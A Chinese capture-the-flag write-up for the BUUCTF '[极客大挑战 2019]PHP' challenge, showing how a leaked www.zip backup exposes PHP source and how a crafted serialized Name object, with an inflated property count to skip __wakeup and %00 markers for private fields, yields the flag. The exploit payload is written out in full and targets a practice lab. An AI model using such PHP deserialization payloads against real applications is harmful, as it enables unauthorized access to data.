128,【1】buuctf [极客大挑战 2019]PHP

进入靶场

提示了备份文件

抓包,扫描

扫描出了两个有反应的

访问index.php没反应,但www.zip成功下载了文件

index.php里得到如下有用信息

php 复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

所以我们要通过GET 方式传递 select 参数的值,并对该值进行序列化操作

?select=

再去查看class.php

php 复制代码
<?php
// 包含 flag.php 文件
include 'flag.php';

// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    // 私有属性只能在类内部访问
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,用于初始化对象的属性
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
    // 此方法将对象的 $username 属性重置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 析构函数,当对象被销毁时会自动调用
    function __destruct(){
        // 检查对象的 $password 属性是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息,表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查对象的 $username 属性是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 如果是 'admin',将全局变量 $flag 引入当前作用域
            global $flag;
            // 输出存储在 $flag 中的 flag 信息
            echo $flag;
        } else {
            // 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

得知username和password,且值为admin和100

还需绕过_wakeup方法

通过改属性个数实现

username=admin&password=100

其他好像不用看了,试着开始构造

php 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

$a=new Name();
$b=serialize(@$a);
echo $b
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

修改属性个数

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为是两个属性

添加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

相关推荐
Yang-Never29 分钟前
Kotlin协程 -> Job.join() 完整流程图与核心源码分析
android·开发语言·kotlin·android studio
TomCode先生2 小时前
c#动态树形表达式详解
开发语言·c#
高-老师3 小时前
基于R语言的物种气候生态位动态量化与分布特征模拟
开发语言·r语言·物种气候
大翻哥哥3 小时前
Python 2025:量化金融与智能交易的新纪元
开发语言·python·金融
weixin_437830944 小时前
使用冰狐智能辅助实现图形列表自动点击:OCR与HID技术详解
开发语言·javascript·ocr
鹿鹿学长4 小时前
2025年全国大学生数学建模竞赛(C题) 建模解析|婴儿染色体数学建模|小鹿学长带队指引全代码文章与思路
c语言·开发语言·数学建模
zhousenshan5 小时前
Python爬虫常用框架
开发语言·爬虫·python
DKPT6 小时前
Java内存区域与内存溢出
java·开发语言·jvm·笔记·学习
耶啵奶膘7 小时前
uni-app头像叠加显示
开发语言·javascript·uni-app
看海天一色听风起雨落7 小时前
Python学习之装饰器
开发语言·python·学习